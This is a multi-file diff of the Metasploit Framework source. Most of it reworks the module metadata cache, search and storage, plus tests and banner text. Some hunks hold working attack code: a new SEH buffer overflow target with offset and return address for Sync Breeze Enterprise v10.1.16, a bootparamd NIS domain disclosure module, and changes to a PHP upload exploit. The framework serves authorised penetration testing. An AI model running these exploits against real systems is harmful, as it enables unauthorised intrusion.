@references = module_instance.references.map{|x| [x.ctx_id, x.ctx_val].join("-") }
@is_server = (module_instance.respond_to?(:stance) and module_instance.stance == "aggressive")
@is_client = (module_instance.respond_to?(:stance) and module_instance.stance == "passive")
@platform = module_instance.platform_to_s
@arch = module_instance.arch_to_s
@rport = module_instance.datastore['RPORT'].to_s
@path = module_instance.file_path
@mod_time = ::File.mtime(@path) rescue Time.now
@ref_name = module_instance.refname
install_path = Msf::Config.install_root.to_s
if (@path.to_s.include? (install_path))
@path = @path.sub(install_path, '')
@is_install_path = true
end
if module_instance.respond_to?(:targets) and module_instance.targets
@targets = module_instance.targets.map{|x| x.name}
end
end
def update_mod_time(mod_time)
@mod_time = mod_time
end
def path
if @is_install_path
return ::File.join(Msf::Config.install_root, @path)
end
@path
end
end
end
end
end

View File

@ -0,0 +1,120 @@
require 'msf/core/modules/metadata'
#
# Provides search operations on the module metadata cache.
#
module Msf::Modules::Metadata::Search
#
# Searches the module metadata using the passed search string.
#
def find(search_string)
search_results = []
get_metadata.each { |module_metadata|
if is_match(search_string, module_metadata)
search_results << module_metadata
end
}
return search_results
end
#######
private
#######
def is_match(search_string, module_metadata)
return false if not search_string
search_string += ' '
# Split search terms by space, but allow quoted strings
terms = search_string.split(/\"/).collect{|t| t.strip==t ? t : t.split(' ')}.flatten
terms.delete('')
# All terms are either included or excluded
res = {}
terms.each do |t|
f,v = t.split(":", 2)
if not v
v = f
f = 'text'
end
next if v.length == 0
f.downcase!
v.downcase!
res[f] ||=[ [], [] ]
if v[0,1] == "-"
next if v.length == 1
res[f][1] << v[1,v.length-1]
else
res[f][0] << v
end
end
k = res
[0,1].each do |mode|
match = false
k.keys.each do |t|
next if k[t][mode].length == 0
k[t][mode].each do |w|
# Reset the match flag for each keyword for inclusive search
match = false if mode == 0
# Convert into a case-insensitive regex
r = Regexp.new(Regexp.escape(w), true)
case t
when 'text'
terms = [module_metadata.name, module_metadata.full_name, module_metadata.description] + module_metadata.references + module_metadata.author
if module_metadata.targets
terms = terms + module_metadata.targets
end
match = [t,w] if terms.any? { |x| x =~ r }
when 'name'
match = [t,w] if module_metadata.name =~ r
when 'path'
match = [t,w] if module_metadata.full_name =~ r
when 'author'
match = [t,w] if module_metadata.author.any? { |a| a =~ r }
when 'os', 'platform'
match = [t,w] if module_metadata.platform =~ r or module_metadata.arch =~ r
if module_metadata.targets
match = [t,w] if module_metadata.targets.any? { |t| t =~ r }
end
when 'port'
match = [t,w] if module_metadata.rport =~ r
when 'type'
match = [t,w] if Msf::MODULE_TYPES.any? { |modt| w == modt and module_metadata.type == modt }
when 'app'
match = [t,w] if (w == "server" and module_metadata.is_server)
match = [t,w] if (w == "client" and module_metadata.is_client)
when 'cve'
match = [t,w] if module_metadata.references.any? { |ref| ref =~ /^cve\-/i and ref =~ r }
when 'bid'
match = [t,w] if module_metadata.references.any? { |ref| ref =~ /^bid\-/i and ref =~ r }
when 'edb'
match = [t,w] if module_metadata.references.any? { |ref| ref =~ /^edb\-/i and ref =~ r }
end
break if match
end
# Filter this module if no matches for a given keyword type
if mode == 0 and not match
return false
end
end
# Filter this module if we matched an exclusion keyword (-value)
if mode == 1 and match
return false
end
end
true
end
end

View File

@ -0,0 +1,112 @@
require 'pstore'
require 'msf/core/modules/metadata'
#
# Handles storage of module metadata on disk. A base metadata file is always included - this was added to ensure a much
# better first time user experience as generating the user based metadata file requires 100+ mb at the time of creating
# this module. Subsequent starts of metasploit will load from a user specific metadata file as users potentially load modules
# from other places.
#
module Msf::Modules::Metadata::Store
BaseMetaDataFile = 'modules_metadata_base.pstore'
UserMetaDataFile = 'modules_metadata.pstore'
#
# Initializes from user store (under ~/store/.msf4) if it exists. else base file (under $INSTALL_ROOT/db) is copied and loaded.
#
def init_store
load_metadata
end
#
# Update the module meta cache disk store
#
def update_store
begin
@store.transaction do
@store[:module_metadata] = @module_metadata_cache
end
rescue Excepion => e
elog("Unable to update metadata store: #{e.message}")
end
end
#######
private
#######
def load_metadata
begin
retries ||= 0
copied = configure_user_store
@store = PStore.new(@path_to_user_metadata, true)
@module_metadata_cache = @store.transaction(true) { @store[:module_metadata]}
validate_data(copied) if (!@module_metadata_cache.nil? && @module_metadata_cache.size > 0)
@module_metadata_cache = {} if @module_metadata_cache.nil?
rescue Exception => e
retries +=1
# Try to handle the scenario where the file is corrupted
if (retries < 2 && ::File.exist?(@path_to_user_metadata))
elog('Possible corrupt user metadata store, attempting restore')
FileUtils.remove(@path_to_user_metadata)
retry
else
@console.print_warning('Unable to load module metadata from disk see error log')
elog("Unable to load module metadata: #{e.message}")
end
end
end
def validate_data(copied)
size_prior = @module_metadata_cache.size
@module_metadata_cache.delete_if {|key, module_metadata| !::File.exist?(module_metadata.path)}
if (copied)
@module_metadata_cache.each_value {|module_metadata|
module_metadata.update_mod_time(::File.mtime(module_metadata.path))
}
end
update_store if (size_prior != @module_metadata_cache.size || copied)
end
def configure_user_store
copied = false
@path_to_user_metadata = get_user_store
path_to_base_metadata = ::File.join(Msf::Config.install_root, "db", BaseMetaDataFile)
user_file_exists = ::File.exist?(@path_to_user_metadata)
base_file_exists = ::File.exist?(path_to_base_metadata)
if (!base_file_exists)
wlog("Missing base module metadata file: #{path_to_base_metadata}")
return copied if !user_file_exists
end
if (!user_file_exists)
FileUtils.cp(path_to_base_metadata, @path_to_user_metadata)
copied = true
dlog('Created user based module store')
# Update the user based module store if an updated base file is created/pushed
elsif (::File.mtime(path_to_base_metadata).to_i > ::File.mtime(@path_to_user_metadata).to_i)
FileUtils.remove(@path_to_user_metadata)
FileUtils.cp(path_to_base_metadata, @path_to_user_metadata)
copied = true
dlog('Updated user based module store')
end
return copied
end
def get_user_store
store_dir = ::File.join(Msf::Config.config_directory, "store")
FileUtils.mkdir(store_dir) if !::File.exist?(store_dir)
return ::File.join(store_dir, UserMetaDataFile)
end
end

View File

@ -132,9 +132,9 @@ module Payload::Python::MeterpreterLoader
unless opts[:stageless_tcp_socket_setup].nil?
socket_setup = opts[:stageless_tcp_socket_setup]
socket_setup = socket_setup.split("\n")
socket_setup.map! {|line| "\t\t#{line}\n"}
socket_setup.map! {|line| " #{line}\n"}
socket_setup = socket_setup.join
met.sub!("\t\t# PATCH-SETUP-STAGELESS-TCP-SOCKET #", socket_setup)
met.sub!(" # PATCH-SETUP-STAGELESS-TCP-SOCKET #", socket_setup)
end
met

View File

@ -233,22 +233,17 @@ class Core
avdwarn = nil
banner_trailers = {
:version => "%yelmetasploit v#{Metasploit::Framework::VERSION}%clr",
:exp_aux_pos => "#{framework.stats.num_exploits} exploits - #{framework.stats.num_auxiliary} auxiliary - #{framework.stats.num_post} post",
:pay_enc_nop => "#{framework.stats.num_payloads} payloads - #{framework.stats.num_encoders} encoders - #{framework.stats.num_nops} nops",
:free_trial => "Free Metasploit Pro trial: http://r-7.co/trymsp",
:padding => 48
}
stats = framework.stats
version = "%yelmetasploit v#{Metasploit::Framework::VERSION}%clr",
exp_aux_pos = "#{stats.num_exploits} exploits - #{stats.num_auxiliary} auxiliary - #{stats.num_post} post",
pay_enc_nop = "#{stats.num_payloads} payloads - #{stats.num_encoders} encoders - #{stats.num_nops} nops",
dev_note = "** This is Metasploit 5 development branch **"
padding = 48
banner << (" =[ %-#{banner_trailers[:padding]+8}s]\n" % banner_trailers[:version])
banner << ("+ -- --=[ %-#{banner_trailers[:padding]}s]\n" % banner_trailers[:exp_aux_pos])
banner << ("+ -- --=[ %-#{banner_trailers[:padding]}s]\n" % banner_trailers[:pay_enc_nop])
# TODO: People who are already on a Pro install shouldn't see this.
# It's hard for Framework to tell the difference though since
# license details are only in Pro -- we can't see them from here.
banner << ("+ -- --=[ %-#{banner_trailers[:padding]}s]\n" % banner_trailers[:free_trial])
banner << (" =[ %-#{padding+8}s]\n" % version)
banner << ("+ -- --=[ %-#{padding}s]\n" % exp_aux_pos)
banner << ("+ -- --=[ %-#{padding}s]\n" % pay_enc_nop)
banner << ("+ -- --=[ %-#{padding}s]\n" % dev_note)
if ::Msf::Framework::EICARCorrupted
avdwarn = []

View File

@ -418,12 +418,12 @@ module Msf
# Display the table of matches
tbl = generate_module_table("Matching Modules", search_term)
framework.search(match, logger: self).each do |m|
Msf::Modules::Metadata::Cache.instance.find(match).each do |m|
tbl << [
m.fullname,
m.disclosure_date.nil? ? "" : m.disclosure_date.strftime("%Y-%m-%d"),
RankingName[m.rank].to_s,
m.name
m.full_name,
m.disclosure_date.nil? ? '' : m.disclosure_date.strftime("%Y-%m-%d"),
RankingName[m.rank].to_s,
m.name
]
end
print_line(tbl.to_s)

View File

@ -23,7 +23,7 @@ class Driver < Msf::Ui::Driver
ConfigCore = "framework/core"
ConfigGroup = "framework/ui/console"
DefaultPrompt = "%undmsf%clr"
DefaultPrompt = "%undmsf5%clr"
DefaultPromptChar = "%clr>"
#

View File

@ -179,7 +179,8 @@ class Client
buf = nil
begin
Timeout.timeout(maxwait) { buf = sock.get }
rescue ::Timeout
rescue Timeout::Error
raise RPCTimeout
end
return nil if not buf

View File

@ -70,7 +70,7 @@ Gem::Specification.new do |spec|
# are needed when there's no database
spec.add_runtime_dependency 'metasploit-model'
# Needed for Meterpreter
spec.add_runtime_dependency 'metasploit-payloads', '1.3.23'
spec.add_runtime_dependency 'metasploit-payloads', '1.3.25'
# Needed for the next-generation POSIX Meterpreter
spec.add_runtime_dependency 'metasploit_payloads-mettle', '0.3.3'
# Needed by msfgui and other rpc components

View File

@ -0,0 +1,148 @@
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Auxiliary
include Msf::Exploit::Remote::SunRPC
include Msf::Auxiliary::Report
def initialize(info = {})
super(update_info(info,
'Name' => 'NIS bootparamd Domain Name Disclosure',
'Description' => %q{
This module discloses the NIS domain name from bootparamd.
You must know a client address from the target's bootparams file.
Hint: try hosts within the same network range as the target.
},
'Author' => [
'SATAN', # boot.c
'pentestmonkey', # Blog post
'wvu' # Metasploit module
],
'References' => [
['URL', 'https://tools.ietf.org/html/rfc1831'],
['URL', 'https://tools.ietf.org/html/rfc4506'],
['URL', 'http://pentestmonkey.net/blog/nis-domain-name']
],
'License' => MSF_LICENSE
))
register_options([
OptEnum.new('PROTOCOL', [true, 'Protocol to use', 'udp', %w{tcp udp}]),
OptAddress.new('CLIENT', [true, "Client from target's bootparams file"])
])
register_advanced_options([
OptFloat.new('XDRTimeout', [true, 'XDR decoding timeout', 10.0])
])
end
def run
proto = datastore['PROTOCOL']
client = datastore['CLIENT']
begin
sunrpc_create(
proto, # Protocol: UDP (17)
100026, # Program: BOOTPARAMS (100026)
1 # Program Version: 1
)
rescue Rex::ConnectionError
fail_with(Failure::Unreachable, 'Could not connect to portmapper')
rescue Rex::Proto::SunRPC::RPCError
fail_with(Failure::Unreachable, 'Could not connect to bootparamd')
end
# Flavor: AUTH_NULL (0)
sunrpc_authnull
# Convert ASCII to network byte order to four unsigned chars :(
client_addr = Rex::Socket.addr_aton(client).unpack('C4')
bootparam_whoami = Rex::Encoder::XDR.encode(
1, # Address Type: IPv4-ADDR (1)
*client_addr # Client Address: [redacted]
)
begin
res = sunrpc_call(
1, # Procedure: WHOAMI (1)
bootparam_whoami # Boot Parameters
)
rescue Rex::Proto::SunRPC::RPCError
fail_with(Failure::NotFound, 'Could not call bootparamd procedure')
rescue Rex::Proto::SunRPC::RPCTimeout
fail_with(Failure::NotVulnerable,
'Could not disclose NIS domain name (try another CLIENT?)')
ensure
# Shut it down! Shut it down forever!
sunrpc_destroy
end
unless res
fail_with(Failure::Unknown, 'No response from server')
end
bootparams = begin
Timeout.timeout(datastore['XDRTimeout']) do
parse_bootparams(res)
end
rescue Timeout::Error
fail_with(Failure::TimeoutExpired,
'XDR decoding timed out (try increasing XDRTimeout?)')
end
if bootparams.blank?
fail_with(Failure::Unknown, 'Could not parse bootparams')
end
bootparams.each do |host, domain|
msg = "NIS domain name for host #{host} (#{client}) is #{domain}"
print_good(msg)
report_note(
host: rhost,
port: rport,
proto: proto,
type: 'nis.bootparamd.domain',
data: msg
)
end
end
def parse_bootparams(res)
bootparams = {}
loop do
begin
# XXX: res is modified in place
host, domain, _, _, _, _, _ = Rex::Encoder::XDR.decode!(
res,
String, # Client Host: [redacted]
String, # Client Domain: [redacted]
Integer, # Address Type: IPv4-ADDR (1)
# One int per octet in an IPv4 address
Integer, # Router Address: [redacted]
Integer, # Router Address: [redacted]
Integer, # Router Address: [redacted]
Integer # Router Address: [redacted]
)
break unless host && domain
bootparams[host] = domain
rescue Rex::ArgumentError
vprint_status("Finished XDR decoding at #{res.inspect}")
break
end
end
bootparams
end
end

View File

@ -58,11 +58,9 @@ class MetasploitModule < Msf::Auxiliary
2 # Program Version: 2
)
rescue Rex::ConnectionError
print_error('Could not connect to portmapper')
return
fail_with(Failure::Unreachable, 'Could not connect to portmapper')
rescue Rex::Proto::SunRPC::RPCError
print_error('Could not connect to ypserv')
return
fail_with(Failure::Unreachable, 'Could not connect to ypserv')
end
# Flavor: AUTH_NULL (0)
@ -80,15 +78,14 @@ class MetasploitModule < Msf::Auxiliary
ypserv_all_call # Yellow Pages Service ALL call
)
rescue Rex::Proto::SunRPC::RPCError
print_error('Could not call ypserv procedure')
return
fail_with(Failure::NotFound, 'Could not call ypserv procedure')
ensure
# Shut it down! Shut it down forever!
sunrpc_destroy
end
if res.nil? || res.length < 8
print_error('Invalid response from server')
unless res && res.length > 8
fail_with(Failure::UnexpectedReply, 'Invalid response from server')
return
end
@ -96,12 +93,10 @@ class MetasploitModule < Msf::Auxiliary
case res[4, 4].unpack('l>').first
# Status: YP_NOMAP (-1)
when -1
print_error("Invalid map #{map_name} specified")
return
fail_with(Failure::BadConfig, "Invalid map #{map_name} specified")
# Status: YP_NODOM (-2)
when -2
print_error("Invalid domain #{domain} specified")
return
fail_with(Failure::BadConfig, "Invalid domain #{domain} specified")
end
map = begin
@ -109,12 +104,13 @@ class MetasploitModule < Msf::Auxiliary
parse_map(res)
end
rescue Timeout::Error
print_error('XDR decoding timed out (try increasing XDRTimeout?)')
fail_with(Failure::TimeoutExpired,
'XDR decoding timed out (try increasing XDRTimeout?)')
return
end
if map.nil? || map.empty?
print_error("Could not parse map #{map_name}")
if map.blank?
fail_with(Failure::Unknown, "Could not parse map #{map_name}")
return
end
@ -140,7 +136,9 @@ class MetasploitModule < Msf::Auxiliary
String # Key: [redacted]
)
status == 1 ? map[key] = value : break
break unless status == 1 && key && value
map[key] = value
rescue Rex::ArgumentError
vprint_status("Finished XDR decoding at #{res.inspect}")
break

View File

@ -96,6 +96,7 @@ class MetasploitModule < Msf::Exploit::Remote
print_status("Executing the payload at #{payload_uri}...")
register_files_for_cleanup("#{payload_name}.php")
register_files_for_cleanup("#{plugin_name}.php")
register_dir_for_cleanup("../#{plugin_name}")
send_request_cgi({ 'uri' => payload_uri, 'method' => 'GET' }, 5)
end
end

View File

@ -15,17 +15,18 @@ class MetasploitModule < Msf::Exploit::Remote
'Name' => 'Sync Breeze Enterprise GET Buffer Overflow',
'Description' => %q{
This module exploits a stack-based buffer overflow vulnerability
in the web interface of Sync Breeze Enterprise v9.4.28 and v10.0.28, caused by
improper bounds checking of the request in HTTP GET and POST requests
sent to the built-in web server. This module has been tested
successfully on Windows 7 SP1 x86.
in the web interface of Sync Breeze Enterprise v9.4.28, v10.0.28,
and v10.1.16, caused by improper bounds checking of the request in
HTTP GET and POST requests sent to the built-in web server. This
module has been tested successfully on Windows 7 SP1 x86.
},
'License' => MSF_LICENSE,
'Author' =>
[
'Daniel Teixeira',
'Andrew Smith', # MSF support for v10.0.28
'Owais Mehtab' # Original v10.0.28 exploit
'Andrew Smith', # MSF support for v10.0.28
'Owais Mehtab', # Original v10.0.28 exploit
'Milton Valencia (wetw0rk)' # MSF support for v10.1.16
],
'DefaultOptions' =>
{
@ -53,6 +54,12 @@ class MetasploitModule < Msf::Exploit::Remote
'Offset' => 780,
'Ret' => 0x10090c83 # JMP ESP [libspp.dll]
}
],
[ 'Sync Breeze Enterprise v10.1.16',
{
'Offset' => 2495,
'Ret' => 0x1001C65C # POP # POP # RET [libspp.dll]
}
]
],
'Privileged' => true,
@ -102,6 +109,9 @@ class MetasploitModule < Msf::Exploit::Remote
when /10\.0\.28/
print_status('Target is 10.0.28')
return targets[2]
when /10\.1\.16/
print_status('Target is 10.1.16')
return targets[3]
else
nil
end
@ -156,6 +166,34 @@ class MetasploitModule < Msf::Exploit::Remote
'password' => "rawr"
}
)
when targets[3]
target = targets[3]
eggoptions = {
checksum: true,
eggtag: rand_text_alpha(4, payload_badchars)
}
hunter, egg = generate_egghunter(
payload.encoded,
payload_badchars,
eggoptions
)
sploit = payload.encoded
sploit << rand_text_alpha(target['Offset'] - payload.encoded.length, payload_badchars)
sploit << generate_seh_record(target.ret)
sploit << hunter
# Push the payload out of this buffer, which will make the hunter look for the payload
# somewhere else that has the complete payload.
sploit << make_nops(200)
sploit << egg
sploit << rand_text_alpha(9067 - sploit.length, payload_badchars)
send_request_cgi(
'uri' => "/#{sploit}",
'method' => 'GET'
)
else
print_error("Exploit not suitable for this target.")
end

View File

@ -11,7 +11,7 @@ require 'msf/base/sessions/meterpreter_python'
module MetasploitModule
CachedSize = 58486
CachedSize = 67282
include Msf::Payload::Single
include Msf::Payload::Python

View File

@ -11,7 +11,7 @@ require 'msf/base/sessions/meterpreter_python'
module MetasploitModule
CachedSize = 58450
CachedSize = 67222
include Msf::Payload::Single
include Msf::Payload::Python

View File

@ -11,7 +11,7 @@ require 'msf/base/sessions/meterpreter_python'
module MetasploitModule
CachedSize = 58450
CachedSize = 67222
include Msf::Payload::Single
include Msf::Payload::Python

View File

@ -11,7 +11,7 @@ require 'msf/base/sessions/meterpreter_python'
module MetasploitModule
CachedSize = 58402
CachedSize = 67182
include Msf::Payload::Single
include Msf::Payload::Python

View File

@ -1,8 +1,18 @@
RSpec.shared_examples_for 'Msf::ModuleManager::Cache' do
# Wait for data to be loaded
before(:all) do
Msf::Modules::Metadata::Cache.instance.get_metadata
end
let(:parent_path) do
parent_pathname.to_path
end
let(:metadata_cache) do
Msf::Modules::Metadata::Cache.instance
end
let(:parent_pathname) do
Metasploit::Framework.root.join('modules')
end
@ -221,73 +231,37 @@ RSpec.shared_examples_for 'Msf::ModuleManager::Cache' do
end
context '#refresh_cache_from_module_files' do
before(:example) do
allow(module_manager).to receive(:framework_migrated?).and_return(framework_migrated?)
end
context 'with framework migrated' do
let(:framework_migrated?) do
true
context 'with module argument' do
def refresh_cache_from_module_files
module_manager.refresh_cache_from_module_files(module_class_or_instance)
end
context 'with module argument' do
def refresh_cache_from_module_files
module_manager.refresh_cache_from_module_files(module_class_or_instance)
end
let(:module_class_or_instance) do
Class.new(Msf::Module)
end
it 'should update database and then update in-memory cache from the database for the given module_class_or_instance' do
expect(framework.db).to receive(:update_module_details).with(module_class_or_instance).ordered
expect(module_manager).to receive(:refresh_cache_from_database).ordered
refresh_cache_from_module_files
end
let(:module_class_or_instance) do
Class.new(Msf::Module)
end
context 'without module argument' do
def refresh_cache_from_module_files
module_manager.refresh_cache_from_module_files
end
it 'should update store and then update in-memory cache from the store for the given module_class_or_instance' do
expect(metadata_cache).to receive(:refresh_metadata_instance).with(module_class_or_instance).ordered
expect(module_manager).to receive(:refresh_cache_from_database).ordered
it 'should update database and then update in-memory cache from the database for all modules' do
expect(framework.db).to receive(:update_all_module_details).ordered
expect(module_manager).to receive(:refresh_cache_from_database)
refresh_cache_from_module_files
end
refresh_cache_from_module_files
end
end
context 'without framework migrated' do
context 'without module argument' do
def refresh_cache_from_module_files
module_manager.refresh_cache_from_module_files
end
let(:framework_migrated?) do
false
end
it 'should not call Msf::DBManager#update_module_details' do
expect(framework.db).not_to receive(:update_module_details)
refresh_cache_from_module_files
end
it 'should not call Msf::DBManager#update_all_module_details' do
expect(framework.db).not_to receive(:update_all_module_details)
refresh_cache_from_module_files
end
it 'should not call #refresh_cache_from_database' do
expect(module_manager).not_to receive(:refresh_cache_from_database)
it 'should update store and then update in-memory cache from the store for all modules' do
expect(metadata_cache).to receive(:refresh_metadata).ordered
expect(module_manager).to receive(:refresh_cache_from_database)
refresh_cache_from_module_files
end
end
end
context '#refresh_cache_from_database' do
@ -302,41 +276,6 @@ RSpec.shared_examples_for 'Msf::ModuleManager::Cache' do
end
end
context '#framework_migrated?' do
subject(:framework_migrated?) do
module_manager.send(:framework_migrated?)
end
context 'with framework database' do
before(:example) do
expect(framework.db).to receive(:migrated).and_return(migrated)
end
context 'with migrated' do
let(:migrated) do
true
end
it { is_expected.to be_truthy }
end
context 'without migrated' do
let(:migrated) do
false
end
it { is_expected.to be_falsey }
end
end
context 'without framework database' do
before(:example) do
expect(framework).to receive(:db).and_return(nil)
end
it { is_expected.to be_falsey }
end
end
context '#module_info_by_path' do
it 'should have protected method module_info_by_path' do
@ -359,101 +298,78 @@ RSpec.shared_examples_for 'Msf::ModuleManager::Cache' do
module_manager.send(:module_info_by_path_from_database!)
end
before(:example) do
allow(module_manager).to receive(:framework_migrated?).and_return(framework_migrated?)
it 'should call get metadata' do
allow(metadata_cache).to receive(:get_metadata).and_return([])
expect(metadata_cache).to receive(:get_metadata)
module_info_by_path_from_database!
end
context 'with framework migrated' do
let(:framework_migrated?) do
true
context 'with database cache' do
#
# Let!s (let + before(:each))
#
let!(:mdm_module_detail) do
FactoryGirl.create(:mdm_module_detail,
:file => path,
:mtype => type,
:mtime => pathname.mtime,
:refname => reference_name
)
end
it 'should use ActiveRecord::Batches#find_each to enumerate Mdm::Module::Details in batches' do
expect(Mdm::Module::Detail).to receive(:find_each)
it 'should create cache entry for path' do
module_info_by_path_from_database!
expect(module_info_by_path).to have_key(path)
end
context 'with database cache' do
#
# Let!s (let + before(:each))
#
let!(:mdm_module_detail) do
FactoryGirl.create(:mdm_module_detail,
:file => path,
:mtype => type,
:mtime => pathname.mtime,
:refname => reference_name
)
context 'cache entry' do
subject(:cache_entry) do
module_info_by_path[path]
end
it 'should create cache entry for path' do
before(:example) do
module_info_by_path_from_database!
expect(module_info_by_path).to have_key(path)
end
context 'cache entry' do
subject(:cache_entry) do
module_info_by_path[path]
end
it { expect(subject[:modification_time]).to be_within(1.second).of(pathname_modification_time) }
it { expect(subject[:parent_path]).to eq(parent_path) }
it { expect(subject[:reference_name]).to eq(reference_name) }
it { expect(subject[:type]).to eq(type) }
end
context 'typed module set' do
let(:typed_module_set) do
module_manager.module_set(type)
end
context 'with reference_name' do
before(:example) do
module_info_by_path_from_database!
typed_module_set[reference_name] = double('Msf::Module')
end
it { expect(subject[:modification_time]).to be_within(1.second).of(pathname_modification_time) }
it { expect(subject[:parent_path]).to eq(parent_path) }
it { expect(subject[:reference_name]).to eq(reference_name) }
it { expect(subject[:type]).to eq(type) }
end
context 'typed module set' do
let(:typed_module_set) do
module_manager.module_set(type)
end
context 'with reference_name' do
before(:example) do
typed_module_set[reference_name] = double('Msf::Module')
end
it 'should not change reference_name value' do
expect {
module_info_by_path_from_database!
}.to_not change {
typed_module_set[reference_name]
}
end
end
context 'without reference_name' do
it 'should set reference_name value to Msf::SymbolicModule' do
it 'should not change reference_name value' do
expect {
module_info_by_path_from_database!
}.to_not change {
typed_module_set[reference_name]
}
end
end
# have to use fetch because [] will trigger de-symbolization and
# instantiation.
expect(typed_module_set.fetch(reference_name)).to eq Msf::SymbolicModule
end
context 'without reference_name' do
it 'should set reference_name value to Msf::SymbolicModule' do
module_info_by_path_from_database!
# have to use fetch because [] will trigger de-symbolization and
# instantiation.
expect(typed_module_set.fetch(reference_name)).to eq Msf::SymbolicModule
end
end
end
end
context 'without framework migrated' do
let(:framework_migrated?) do
false
end
it 'should reset #module_info_by_path' do
# pre-fill module_info_by_path so change can be detected
module_manager.send(:module_info_by_path=, double('In-memory Cache'))
module_info_by_path_from_database!
expect(module_info_by_path).to be_empty
end
end
end
end